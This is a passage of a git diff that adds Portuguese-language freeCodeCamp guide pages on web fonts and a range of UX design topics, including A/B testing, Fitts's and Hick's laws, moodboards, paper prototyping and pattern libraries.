+Os serviços de fontes on-line, como o Google Fonts ou o Font Squirrel, fornecem uma maneira fácil de usar fontes diferentes no seu site sem a necessidade de se preocupar se a pessoa que está visualizando o site terá ou não a fonte disponível no sistema.
+
+### Fontes baixadas
+
+Sites como o Font Squirrel permitem que você baixe os arquivos de fontes escolhidos. Uma vez feito isso, você tem que enviá-los no servidor que hospeda seu site. Para usá-los, você precisa declará-los em sua folha de estilos CSS, o que significa dizer ao seu CSS que peça ao navegador do usuário para exibi-lo. Declare que uma fonte geralmente é feita usando `@font-face` no topo da sua folha de estilo CSS.
+
+```css
+@font-face { 
+  font-family: "My Super Awesome Open Sans Font"; /* name that you will use later to apply the font */ 
+  src: url("/fontfolder/open-sans.woff"); /* path to the file */ 
+ } 
+ body { 
+  font-family: "My Super Awesome Open Sans Font"; 
+ } 
+```
+
+Observe que você também pode especificar o formato da fonte de acordo com a compatibilidade do navegador como a seguir.
+
+```css
+@font-face { 
+ font-family: "My Super Awesome Open Sans Font"; 
+ src: url("/fontfolder/open-sans.woff"); format("woff"), 
+ } 
+```
+
+### Google Fonts
+
+Com o Google Fonts, você não precisa fazer o upload dos arquivos de fontes no seu site, basta colocar um determinado link na `head` do seu site.
+
+Para usar o Google Fonts, navegue pelo [site](https://fonts.google.com/) para encontrar a fonte que funciona melhor para o seu projeto. Depois de escolher, clique no sinal de mais (+) ao lado da fonte. Uma barra aparecerá na parte inferior da tela. Clique nisso. Você receberá várias linhas de código. Copie e cole a linha de HTML na cabeça do seu arquivo HTML acima do existente  elemento. Então pegue o CSS e use-o onde for necessário na sua folha de estilo.
+
+```html
+
+<html> 
+  <head> 
+  <link href="https://fonts.googleapis.com/css?family=Inconsolata" rel="stylesheet"> 
+  </head> 
+  <body> 
+  Some text. 
+  </body> 
+ </html> 
+```
+
+```css
+body{ 
+  font-family: "Inconsolata", monospace; 
+ } 
+```
+
+Você está feito! Você tem novas fontes para o seu site.
+
+##### Recursos adicionais:
+
+*   [Google Fonts](http://fonts.google.com)
+*   [FontSpace](http://www.fontspace.com)
+*   [Esquilo fonte](http://fontsquirrel.com)
+*   [DaFont](http://www.dafont.com)
+*   [1001 Fontes Gratuitas](http://www.1001freefonts.com)
+
+#### Mais Informações:
+
+*   [Visão geral de fontes da Web da Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/a-b-testing/index.md b/client/src/guide/portuguese/user-experience-design/a-b-testing/index.md
new file mode 100644
index 0000000000..99e697b2bd
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/a-b-testing/index.md
@@ -0,0 +1,13 @@
+---
+title: A B Testing
+localeTitle: Um teste B
+---
+## O que é o teste AB?
+
+O teste A / B (às vezes chamado de teste de divisão) está comparando duas versões de uma página da web ou elemento para ver qual apresenta melhor desempenho. Você compara duas páginas da Web ou elementos mostrando as duas variantes (vamos chamá-las de A e B) para visitantes semelhantes ao mesmo tempo. Aquele que dá uma melhor taxa de conversão, ganha!
+
+Todo site quer que os visitantes convertam apenas visitantes em algo diferente (conversões, inscrições ou simplesmente tomar medidas para algo). A taxa em que um site é capaz de fazer isso é sua "taxa de conversão". Medir o desempenho de uma variação (A ou B) significa medir a taxa na qual ela converte os visitantes em realizadores de metas. Os cientistas de dados usam testes A / B para ver qual (is) versão (ões) de seu produto leva à meta desejada mais rapidamente. Às vezes, grandes empresas realizam centenas ou milhares de testes A / B para tomar decisões sobre produtos. Esses testes são quase sempre aleatórios, grandes e cegos. Isso significa que o assunto ou usuário não conhece o teste A / B.
+
+#### Mais Informações:
+
+Para mais informações sobre testes A / B, por favor leia [O Guia Completo para Teste A / B](https://vwo.com/ab-testing/) e [Um refrescante no teste A / B.](https://hbr.org/2017/06/a-refresher-on-ab-testing) [O que é o teste A / B?](https://www.optimizely.com/ab-testing/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/content-audits/index.md b/client/src/guide/portuguese/user-experience-design/content-audits/index.md
new file mode 100644
index 0000000000..d0f412dfe3
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/content-audits/index.md
@@ -0,0 +1,17 @@
+---
+title: Content Audits
+localeTitle: Auditoria de Conteúdos
+---
+## Auditoria de Conteúdos
+
+O conteúdo é uma tarefa do estágio de arquitetura da informação em um projeto UX. Uma auditoria de conteúdo é uma atividade de verificar todo o conteúdo de um site (Copiar, Imagens, vídeo e qualquer outro tipo de conteúdo) e compilá-lo em uma lista ou arquivo grande. Existem três tipos principais de auditorias que você pode executar:
+
+\- Inventário de conteúdo completo: uma compilação completa de todo o conteúdo do site. Isso pode incluir todos os URLs, bem como todos os recursos (como arquivos e vídeos para download).  
+Inventário de conteúdo parcial: uma listagem de um subconjunto do conteúdo do site. Um inventário parcial pode incluir, por exemplo, os primeiros níveis de um site hierárquico ou os últimos seis meses de artigos. Todas as seções do site serão cobertas.  
+Amostra de conteúdo: uma coleção menos detalhada de conteúdo de exemplo do site.
+
+O tipo de auditoria de conteúdo dependerá da natureza da solicitação, principalmente para o redesign do site, o que é necessário para fazer um inventário completo de conteúdo, para a manutenção do projeto, é parcial!
+
+#### Mais Informações:
+
+O domínio do Ux tem um ótimo guia sobre auditorias de conteúdo https://uxmastery.com/how-to-conduct-a-content-audit/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/customer-journey-map/index.md b/client/src/guide/portuguese/user-experience-design/customer-journey-map/index.md
new file mode 100644
index 0000000000..360d2794be
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/customer-journey-map/index.md
@@ -0,0 +1,13 @@
+---
+title: Customer Journey Map
+localeTitle: Mapa da jornada do cliente
+---
+## Mapa da jornada do cliente
+
+Um mapa de jornada do cliente explica o potencial de orientação da experiência do cliente: desde o contato inicial, passando pelo processo de engajamento até um relacionamento de longo prazo. Ele pode se concentrar em uma parte específica do tabuleiro ou fornecer uma visão geral de toda a experiência. O que sempre faz é identificar as principais interações que o cliente tem com a organização. Ele fala sobre os sentimentos, motivações e perguntas do usuário para cada um desses pontos de contato. Muitas vezes, fornece uma sensação de maior motivação do cliente. O que eles desejam alcançar e quais são as expectativas deles em relação à organização? Um mapa de jornada do cliente assume muitas formas, mas normalmente aparece como algum tipo de infografia. Qualquer que seja sua forma, o objetivo é o mesmo: ensinar as organizações mais sobre seus clientes.
+
+![Um mapa de jornada do cliente assume muitas formas, mas normalmente aparece como um infográfico.](https://www.smashingmagazine.com/wp-content/uploads/2014/12/1-broadband-provider-journey-opt.jpg)
+
+#### Mais Informações:
+
+Tudo sobre o mapa da jornada do cliente aqui: https://www.smashingmagazine.com/2015/01/all-about-customer-journey-mapping/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/fitts-law/index.md b/client/src/guide/portuguese/user-experience-design/fitts-law/index.md
new file mode 100644
index 0000000000..99bdcef7d9
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/fitts-law/index.md
@@ -0,0 +1,15 @@
+---
+title: Fitts Law
+localeTitle: Fitts Law
+---
+## Fitts Law
+
+A Lei de Fitts fornece um modelo de movimento humano que pode prever com precisão a quantidade de tempo necessário para se mover e selecionar um alvo. Na interação humano-computador, a Lei de Fitts é tipicamente aplicada ao movimento através da interface gráfica do usuário usando um cursor ou outro tipo de ponteiro.
+
+A lei descreve uma regra simples de design de interface do usuário que a distância de um ponto a outro deve ser reduzida, enquanto o objeto de destino é maior para reduzir o tempo de seleção de um destino. Idealmente, quanto mais o usuário tiver que atravessar em direção a um alvo, maior deverá ser o alvo para tornar a interação mais suave.
+
+![](http://cdn.sixrevisions.com/0128-05_chart.jpg)
+
+#### Mais Informações:
+
+Um artigo muito robusto sobre a lei Fitts: https://www.interaction-design.org/literature/article/fitts-s-law-the-importance-of-size-and-distance-in-ui-design
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/focus-groups/index.md b/client/src/guide/portuguese/user-experience-design/focus-groups/index.md
new file mode 100644
index 0000000000..0606478c2d
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/focus-groups/index.md
@@ -0,0 +1,18 @@
+---
+title: Focus Groups
+localeTitle: Grupos de foco
+---
+## Grupos de foco
+
+### Definições
+
+*   Um grupo de pessoas que foram reunidas para discutir um determinado assunto, a fim de resolver um problema ou sugerir ideias. - Dicionário Cambridge
+*   Um grupo de pessoas reunidas para dar suas opiniões sobre um determinado assunto ou produto, muitas vezes para fins de pesquisa de mercado. Dicionário Inglês-Collins
+
+Α grupo de foco é um grupo de pessoas reunidas por causa de suas características comuns, como idade, sexo, ocupação, renda, etc. Grupos focais são formados para que os pesquisadores conduzam uma pesquisa de mercado, para grupos demográficos específicos.
+
+Ao contrário de uma entrevista, onde a contribuição vem de uma única pessoa, em grupos focais temos respostas diferentes de várias pessoas que fornecem uma visão mais diversificada e precisa das necessidades e desejos do mercado. Além disso, as discussões em grupos focais permitem que as pessoas interajam umas com as outras, formem novas opiniões e vejam diferentes perspectivas do tópico em questão.
+
+#### Mais Informações:
+
+https://www.thebalance.com/what-is-a-market-research-focus-group-2296907
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/hicks-law/index.md b/client/src/guide/portuguese/user-experience-design/hicks-law/index.md
new file mode 100644
index 0000000000..da65624ab7
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/hicks-law/index.md
@@ -0,0 +1,33 @@
+---
+title: Hicks Law
+localeTitle: Hicks Law
+---
+## Hicks Law
+
+A lei de Hick afirma que o tempo que leva para tomar uma decisão aumenta à medida que o número de alternativas aumenta. É nomeado em homenagem aos psicólogos britânicos e americanos William Edmund Hick e Ray Hyman.
+
+### Entendendo a lei de Hick com um exemplo
+
+Você se lembra dos videogames antigos de mais de 20 anos atrás, e como foi divertido interpretá-los? Os controles eram tão simples que você poderia aprender a jogar em segundos. Por exemplo, Super Mario com apenas os controles de esquerda, direita e salto.
+
+Em comparação, os atuais controles de entrada de consoles de jogos modernos e jogos para PC têm muitas opções e combinações. Todos esses controles multiplicam as opções disponíveis que um usuário pode escolher em qualquer situação específica.
+
+Ter tantas opções faz com que aprender o jogo e aproveitá-lo seja muito mais difícil e demorado.
+
+### O que isso significa em Design UX
+
+A lei de Hick pode ser usada para diminuir grandes volumes de informação sem sobrecarregar o usuário. Quando você precisa simplificar um processo complexo, use a lei de Hick. Apresentar partes específicas desse processo a qualquer momento na tela.
+
+Um exemplo pode ser um processo de pagamento. Em vez de mostrar tudo de uma vez, você pode dividi-lo. Mostre a tela com detalhes do carrinho de compras, depois outra com informações de entrega, depois criação de conta opcional e assim por diante.
+
+Reduzir o número de opções percebidas na tela torna a interface mais fácil de usar. Também é mais provável que o usuário realize o objetivo e não desista ou fique confuso.
+
+**É importante salientar que não é simplificar demais!** Quebrar as escolhas em uma série de pequenos pedaços também pode fazer com que o usuário caia antes de atingir o objetivo.
+
+### Mais Informações:
+
+Lei de Hicks - [Wikipédia, a enciclopédia livre](https://en.wikipedia.org/wiki/Hick%27s_law)
+
+Princípios de Design: Lei de Hick - [uxplanet](https://uxplanet.org/design-principles-hicks-law-quick-decision-making-3dcc1b1a0632)
+
+Entendendo a lei de Hick - [Youtube](https://www.youtube.com/watch?v=OU7ekX05UEU)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/human-computer-interaction/index.md b/client/src/guide/portuguese/user-experience-design/human-computer-interaction/index.md
new file mode 100644
index 0000000000..8d4389cb35
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/human-computer-interaction/index.md
@@ -0,0 +1,31 @@
+---
+title: Human Computer Interaction
+localeTitle: Interação Humano-Computador
+---
+## Interação Humano-Computador
+
+Interação Humano-Computador (HCI) é um campo de estudo que se concentra no design da tecnologia de computador e, em particular, a interação entre os seres humanos (os usuários) e computadores. Ele engloba várias disciplinas, como ciência da computação, ciência cognitiva e engenharia de fatores humanos. Enquanto originalmente computadores em questão, a HCI expandiu-se desde então para abranger quase todas as formas de design de tecnologia da informação.
+
+Os seres humanos interagem principalmente com computadores por meio de interfaces gráficas de usuário (GUI) e às vezes por meio de interfaces de usuário de voz (VUI). No campo do usuário Experiência / Interação do usuário (UX / UI), interação humano-computador é estudada para garantir a satisfação do usuário ideal e envolvimento com um software.
+
+### Princípios de design
+
+Vários princípios de design experimental podem ser aplicados para projetar ou avaliar um interace de usuário:
+
+*   Foco inicial no usuário e na tarefa: estabeleça quantos usuários são necessários para realizar a (s) tarefa (s) e determine quem devem ser os usuários apropriados; Alguém que nunca usou a interface e não usará a interface no futuro provavelmente não é um usuário válido. Além disso, defina a (s) tarefa (s) que os usuários estarão executando e com que frequência as tarefas precisam ser realizadas.
+*   Medição empírica: teste a interface logo no início com usuários reais que entram em contato com a interface diariamente. Lembre-se de que os resultados podem variar de acordo com o nível de desempenho do usuário e podem não ser uma representação precisa da interação típica humano-computador. Estabeleça especificações quantitativas de usabilidade, como: o número de usuários que executam as tarefas, o tempo para concluir as tarefas e o número de erros cometidos durante a (s) tarefa (s).
+*   Projeto iterativo: Depois de determinar os usuários, as tarefas e as medidas empíricas a serem incluídas, execute as seguintes etapas de design iterativo:
+
+1.  Projetar a interface do usuário
+2.  Teste
+3.  Analisar
+4.  Repetir
+
+### Relação com o User Experience Design (UX)
+
+De muitas maneiras, a HCI foi a precursora que se tornaria o que hoje chamamos de "Design de Experiência do Usuário (UX)". Apesar disso, algumas diferenças persistem entre o design de HCI e UX. Praticantes de IHC tendem a ser mais focados academicamente e estão envolvidos em pesquisas científicas e no desenvolvimento de entendimentos empíricos de usuários. Os designers de UX, por outro lado, tendem a ser focados no setor, e a maioria dos designers de UX está envolvida na criação de um produto ou serviço - por exemplo, um aplicativo para smartphone ou um website. Independentemente dessa diferença, as considerações práticas para produtos com os quais os projetistas de UX se preocupam têm ligações diretas com as descobertas de especialistas em IHC sobre a mentalidade dos usuários. Devido a isso, há pouco sentido em separar esses domínios em grande medida.
+
+#### Mais Informações:
+
+*   [Interação Humano-Computador (Wikipedia)](https://en.wikipedia.org/wiki/Human–computer_interaction)
+*   [A Enciclopédia da Interação Humano-Computador, 2ª Ed.](https://www.interaction-design.org/literature/book/the-encyclopedia-of-human-computer-interaction-2nd-ed/human-computer-interaction-brief-intro)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/index.md b/client/src/guide/portuguese/user-experience-design/index.md
new file mode 100644
index 0000000000..65eca96c2e
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/index.md
@@ -0,0 +1,21 @@
+---
+title: User Experience Design
+localeTitle: Design de experiência do usuário
+---
+## Design de experiência do usuário
+
+User Experience Design é um campo que se concentra em como os usuários finais de um produto interagem com ele e como eles se sentem em relação ao produto.
+
+Nesta seção, teremos guias para uma ampla variedade de conceitos de design de experiência do usuário.
+
+#### Artigos para recursos e inspiração para design de experiência do usuário
+
+[Caixas e Setas](http://boxesandarrows.com) [Usabilla](http://blog.usabilla.com)
+
+#### Livro de texto para design de experiência do usuário
+
+[Design de Interação: Além da Interação Humano-Computador (4ª Edição) - Amazon](https://www.amazon.com/Interaction-Design-Beyond-Human-Computer/dp/1119020751)
+
+#### Principalmente Currículo de Design UX Online Grátis
+
+[Caminho de aprendizado do Springboard: Design de experiência do usuário - Julia Debari](https://www.springboard.com/learning-paths/user-experience-design/learn/#)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/information-architecture/index.md b/client/src/guide/portuguese/user-experience-design/information-architecture/index.md
new file mode 100644
index 0000000000..58c13f9e3b
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/information-architecture/index.md
@@ -0,0 +1,24 @@
+---
+title: Information Architecture
+localeTitle: Arquitetura de informação
+---
+## Arquitetura de informação
+
+A Arquitetura da Informação, ou IA, é geralmente realizada por um profissional de Experiência do Usuário (UX) com experiência na disciplina mais ampla da experiência do usuário. (IA é uma parte do UX). Este não é um empreendimento de design criativo / visual, mas está mais focado no design de informações, fluxos e cenários de tarefas de usuários, casos de uso, design de conteúdo, hierarquia de informações.
+
+Os tipos de documentos que alguém produz na prática de IA são tipicamente referidos como sitemaps (diferentes de fluxogramas), mapas de recursos, mapas de conteúdo e inventários (embora possam também ser criados por editores de conteúdo). O IA também se preocupa com o real palavreado usado em toda a navegação e conteúdo do site ou produto, visando clareza e consistência. Você verá referências a 'jornadas de clientes', mas isso não é UX ou IA - é algo completamente diferente.
+
+Isso ajuda a saber onde o IA está dentro do esquema da equipe e de outra documentação. O fluxo de alto nível da documentação e do processo do projeto se parece com isto: (note: suponha que o cliente assine fora em vários pontos no processo)
+
+1.  Fase de Descoberta e lançamento: breve do projeto, levantamento de requisitos (técnico, funcional, criativo / marca, conteúdo).
+2.  Fase UX-IA: pesquisa> personas> fluxos de usuários> sitemaps> wireframes. Os detalhes do design de interação são trabalhados e finalizados. Se os protótipos estiverem no escopo (no orçamento), protótipos de amostra serão produzidos refletindo os fluxos de usuários e o design de interação, e o criativo se / quando estiver pronto de acordo com a programação.
+3.  Deisgn criativo: modelos aproximados (informados por toda a documentação até o momento), modelos de alta fidelidade (com arte final e conteúdo mais precisos), ativos de arte prontos para produção produzidos e entregues ao desenvolvedor.
+4.  Dev tem trabalhado nos bastidores, geralmente ágil ou ágil na metodologia. Dev, UX e criativo colaboram em vários aspectos do projeto a qualquer momento. Todos sabem o que o outro precisa e está esperando do outro.  
+    (Esta é uma visão geral de como uma equipe multidisciplinar iria operar. Existem muitas variáveis ​​que afetam o processo. Em última análise, o melhor processo é aquele que a equipe e o cliente podem articular e manter, e que produz o resultado final desejado. )
+
+IA é uma disciplina crítica dentro do processo de criação de produto / experiência digital. Quando bem feito, é transparente e imperceptível. Quando mal feito, ele dissolve a confiança do cliente na equipe, leva a trabalho extra / tempo / dinheiro gasto, possíveis atrasos nas entregas e se não for pego antes do envio / embarque, pode constranger o cliente para seu público-alvo - não é bom para a produção equipe.
+
+## Outros recursos
+
+*   [Arquitetura da informação - Wikipedia](https://en.wikipedia.org/wiki/Information_architecture)
+*   [Usabilty.gov](https://www.usability.gov/what-and-why/information-architecture.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/instructional-design/index.md b/client/src/guide/portuguese/user-experience-design/instructional-design/index.md
new file mode 100644
index 0000000000..d7558be5a9
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/instructional-design/index.md
@@ -0,0 +1,9 @@
+---
+title: Instructional Design
+localeTitle: Design Instrucional
+---
+## Design Instrucional
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/instructional-design/index.md) . [Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+\#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/interaction-design/index.md b/client/src/guide/portuguese/user-experience-design/interaction-design/index.md
new file mode 100644
index 0000000000..af878d1f34
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/interaction-design/index.md
@@ -0,0 +1,35 @@
+---
+title: Interaction Design
+localeTitle: Design de Interação
+---
+## Design de Interação
+
+## O que é design de interação?
+
+O Interaction Design, muitas vezes abreviado como IxD, está relacionado à prática de projetar produtos digitais interativos, como sites, aplicativos, sistemas de software e / ou serviços. No entanto, o Interaction Design também é útil ao projetar produtos não digitais. O Design de Interação concentra-se principalmente no comportamento.
+
+Abaixo estão cinco características distintas do Design de Interação, conforme definido pelo eminente designer industrial e fundador da IDEO - Bill Moggridge (Compartilhado da Interaction Design Foundation - IDF):
+
+## 1\. O design envolve a mudança de situações pela modelagem e implantação de artefatos
+
+Design é sobre transformação e os meios disponíveis para o projetista trazer a mudança em uma situação particular são, em última análise, o artefato projetado.
+
+## 2\. Design é sobre explorar possíveis futuros
+
+Isso parece óbvio demais para ser mencionado, mas, do ponto de vista educacional, não deve passar despercebido, especialmente porque implica uma diferença básica de orientação. A pesquisa analítica e crítica enfatiza o que já existe, enquanto o design gira e fala sobre o que poderia ser.
+
+## 3\. Design implica enquadrar o “problema” em paralelo com a criação de possíveis “soluções”
+
+Este charecterstic fala sobre como a situação é alterada quando nós projetamos algo. Segue a noção de que a situação na qual o desenho é usado não é mais a mesma em comparação com quando estávamos projetando.
+
+## 4\. Design envolve pensar através de esboços e outras representações tangíveis
+
+Quando um designer está trabalhando no projeto de uma solução possível, ele não está apenas copiando imagens de seus olhos internos, seus desenhos ou esboços são, na verdade, experiências e protótipos do que transforma insights em pontos fortes e possíveis mudanças.
+
+## 5\. O design aborda aspectos instrumentais, técnicos, estéticos e éticos ao longo
+
+Todo protótipo que está sendo projetado introduz considerações e compensações em todas essas dimensões, e não há nenhuma maneira óbvia de serem sequenciadas. Essa noção vale igualmente para o design de interação - as decisões técnicas influenciam as qualidades estéticas da interação resultante, as escolhas instrumentais em recursos para oferecer têm repercussões éticas e assim por diante.
+
+#### Mais Informações:
+
+[Fundação de Design de Interação](https://www.interaction-design.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/moodboards/index.md b/client/src/guide/portuguese/user-experience-design/moodboards/index.md
new file mode 100644
index 0000000000..a8b436adff
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/moodboards/index.md
@@ -0,0 +1,61 @@
+---
+title: Moodboards
+localeTitle: Moodboards
+---
+## Moodboards
+
+Moodboards são uma maneira de transmitir o sentimento sobre o produto que você está prestes a fazer. Também para obter inspiração para paleta de cores e formas para usar mais tarde. Em outras palavras, moodboard é [uma coleção de texturas, imagens e textos relacionados a um tema de design como um ponto de referência](http://www.creativebloq.com/graphic-design/mood-boards-812470) .
+
+Criar um moodboard é muito simples. Existem duas maneiras: manual ou digital.
+
+Para criar moodboards manuais, você precisará de:
+
+*   Diferentes revistas, jornais, livros e / ou cartazes que você pode cortar
+*   Papel
+*   Tesouras
+*   Cola
+
+Comece por encontrar as imagens, formas, cores, mensagens que você sente que ressoam com o seu produto. Recorte-os. Se você cortou tudo o que precisa, coloque-os no papel e cole-os. O resultado final pode parecer algo semelhante a isto:
+
+![tablete de papercut](https://raw.githubusercontent.com/ejke/ejke.github.io/master/else/moodboard.jpg)
+
+A outra opção é criar moodboard digital. A técnica é a mesma, você precisa:
+
+*   conexão de internet
+*   Conhecimento básico de funções de copiar e colar
+*   Software de edição de imagem
+
+O aspecto positivo é que você não precisa limitar seu moodboard às imagens na revista. O aspecto negativo é que pode ser difícil encontrar as imagens certas, já que você tem toda a internet para pesquisar.
+
+Os lugares para começar a procurar imagens e ideias:
+
+*   [google](https://images.google.co.uk/) . As imagens Goole podem ser escolhidas de acordo com a cor, a forma ou o formulário, portanto, se você puder pesquisá-la, é possível encontrá-la.
+*   [Pinterest](https://www.pinterest.dk/) . O mesmo que para o google, mas diferente.
+*   imagens livres. Como [Pixabay](https://pixabay.com/) , [Pexels](https://www.pexels.com/) ou sites de [imagens gratuitas](http://www.freeimages.com/) , você pode encontrar toneladas de inspiração em uma imagem.
+*   saia com uma câmera. Pode haver o item exato para o seu moodboard esperando que você tire essa foto.
+
+Mais uma vez, quando você tem imagens suficientes, é hora de colocar o moodboard juntos. Para isso, você também tem diferentes possibilidades:
+
+*   Gimp / Photoshop / Paint. Nos dois primeiros você tem maior capacidade de mover as imagens, a tinta é tão boa quanto a tinta pode ser (suficiente, mas desconfortável).
+*   Inkscape / Ilustrador. Estes não são para este tipo de trabalho, mas podem fazer o trabalho. Além disso, você faz e adiciona arte vetorial ao seu moodboard.
+*   Ferramentas on-line: basta procurar por 'moodboard' com seu mecanismo de busca favorito e você deve encontrar muitos sites que oferecem o modelo para o moodboard concorrente.
+
+![exemplo de moodboard digital](http://stuckwithpins.com/blog/wp-content/uploads/2015/08/moodboard-s2s.jpg)
+
+Nota: Ao criar moodboards, tente evitar o uso de títulos ou imagens da coisa para a qual você está criando o moodboard.
+
+Por exemplo, ao criar o moodboard do site Harry Potter, não use imagens de atores nem anote o título. Geralmente não é o melhor caminho. Em vez disso, encontre cores temáticas escuras, texturas de madeira e pedra, foto de raio, outra pessoa com óculos redondos (não um fã vestido), montes de livros empilhados uns sobre os outros, caldeirão fervente, etc. Pode parecer difícil o começo, mas dá mais inspiração nos últimos estágios de produção - e você pode precisar dessa inspiração então.
+
+Fazer as moodboards é uma das partes mais divertidas da produção, então tente aproveitar e seja criativo!
+
+Placas de humor podem transmitir esquema de cores, tipo de rosto e imagens específicas. Eles também podem explorar o tom e o humor de maneira mais abstrata. Uma placa pode incluir vídeo ou som, além de imagens estáticas, fotografia e texto.
+
+![Um exemplo de um tabuleiro de humor com tema de surf](https://cdn-images-1.medium.com/max/1600/1*9qVOw8uDg8oOOevWmYUozQ.jpeg)
+
+Há muitos fatores que influenciam a criação do quadro de humor perfeito. Dependendo do seu público, você pode optar por escolher uma imagem maior e criar o quadro de regras em torno dela. Esta imagem se tornaria sua inspiração e peça central para toda a diretoria. Além disso, você acha que deveria criar um moodboard físico ou digital, que retrataria suas idéias e inspiração de forma mais eficaz?
+
+![Um exemplo de uma placa de humor físico](https://www.designyourway.net/blog/wp-content/uploads/2018/02/06moodboard3-superjumbo.jpg)
+
+#### Mais Informações:
+
+[Milanote. "Criando melhores Moodboards para projetos UX." _Médio_ 10 de setembro de 2017. Acessado em: 25 de outubro de 2017.](https://uxplanet.org/creating-better-moodboards-for-ux-projects-381d4d6daf70)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/paper-prototyping/index.md b/client/src/guide/portuguese/user-experience-design/paper-prototyping/index.md
new file mode 100644
index 0000000000..4fce6825d0
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/paper-prototyping/index.md
@@ -0,0 +1,32 @@
+---
+title: Paper Prototyping
+localeTitle: Prototipagem de Papel
+---
+## Prototipagem de Papel
+
+A prototipação de papel é um método amplamente utilizado na interface do usuário e no design da experiência do usuário. Envolve no uso da maneira mais tradicional que são lápis e papéis. É a maneira mais econômica de produzir um gráfico visual para aplicativos móveis, sites ou aplicativos de desktop.
+
+#### Breve Guia para Prototipagem de Papel
+
+Para começar, devemos ter um objetivo em mente para o nosso protótipo. Pense em um antes mesmo de começar a prototipagem, como em qualquer outro tipo de protótipo.
+
+Depois de decidir seu objetivo, você pode escolher fazer personas ou alguns storyboards como um rascunho rápido.
+
+Dependendo do que você está projetando, seja um aplicativo da web ou um aplicativo móvel, escolha o tamanho do papel - ele deve ser do mesmo tamanho que as telas que serão implementadas no futuro. Isso seria benéfico para você quando tiver que extrair seus componentes e layout no papel.
+
+E, claro, depois de terminar com uma rodada de prototipagem de papel, leve-a para testes nos usuários. A beleza da prototipagem de papel é que ela é rápida, eficiente e divertida também - você pode fazer alterações com facilidade e não consome muito tempo para fazer edições.
+
+#### Vantagens da prototipagem de papel
+
+1.  É rentável! O que você precisaria é apenas lápis / caneta e papel, sem a necessidade de se envolver nos serviços de um designer / desenvolvedor para fazer seus protótipos.
+    
+2.  Nenhum design ou programação envolvida nesta fase. Você não precisa utilizar Photoshop, Sketch, etc na prototipagem de papel. Como todos os seus designs serão desenhados à mão, você não precisa de softwares ou gráficos sofisticados para criar um protótipo de papel.
+    
+3.  Permite avaliação e testes rápidos. Isso é especialmente importante quando você está no estágio inicial de conceituar sua ideia, e quaisquer melhorias ou sugestões para o protótipo podem ser facilmente feitas e discutidas.
+    
+
+#### Mais Informações:
+
+Guia para prototipagem de papel [aqui](https://blog.marvelapp.com/stop-talking-start-sketching-guide-paper-prototyping/)
+
+Guia para prototipagem rápida de aplicativos móveis [aqui](https://blog.prototypr.io/rapid-prototyping-for-mobile-app-ab394c9086e2)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/pattern-libraries/index.md b/client/src/guide/portuguese/user-experience-design/pattern-libraries/index.md
new file mode 100644
index 0000000000..2cfe4cf82f
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/pattern-libraries/index.md
@@ -0,0 +1,63 @@
+---
+title: Pattern Libraries
+localeTitle: Bibliotecas Padrão
+---
+## Bibliotecas Padrão
+
+Uma biblioteca de padrões é uma coleção de elementos de design de interface do usuário reutilizáveis. Como esses elementos da interface do usuário são reutilizados várias vezes em um site, aplicativo da Web ou aplicativo de software, eles impõem estrutura por meio da consistência. Isso torna o site ou aplicativo mais fácil de usar.
+
+Alguns elementos de interface comum encontrados em uma biblioteca de padrões são:
+
+*   Menus
+*   Botões
+*   Layouts de página
+*   Animações da interface do usuário
+*   Formulários
+
+### Benefícios das Bibliotecas Padrão
+
+Paul Boag, do seu blog [Boagworld.com](https://boagworld.com/design/pattern-library/) , explica as principais razões para criar uma biblioteca de padrões:
+
+1.  "Uma biblioteca de padrões garante uma interface de usuário consistente".
+2.  "Uma biblioteca de padrões facilita a reutilização."
+3.  "Uma biblioteca padrão facilita a manutenção."
+
+### Bibliotecas de Padrões vs. Sistemas de Design vs. Guias de Estilo
+
+É fácil confundir bibliotecas de padrões com sistemas de design e guias de estilo. Este [artigo de Zack Rutherford para UXPin](https://www.uxpin.com/studio/blog/design-systems-vs-pattern-libraries-vs-style-guides-whats-difference/) esclarece a diferença entre os três:
+
+> • **Sistema de Design** - o conjunto completo de padrões de projeto, documentação e princípios, juntamente com o kit de ferramentas (padrões de interface do usuário e componentes de código) para atingir esses padrões.
+> 
+> • **Biblioteca de padrões** - Uma subclasse no sistema de design, esse é o conjunto de padrões de projeto para uso em uma empresa.
+> 
+> • **Guia de estilo** - Outra subclasse no sistema de design, esta documentação estática descreve o próprio sistema de design: como os produtos devem parecer e sentir, casos de uso para padrões de interface do usuário, escalas tipográficas corretas, etc.
+
+#### Mais Informações:
+
+##### Exemplos de biblioteca de padrões
+
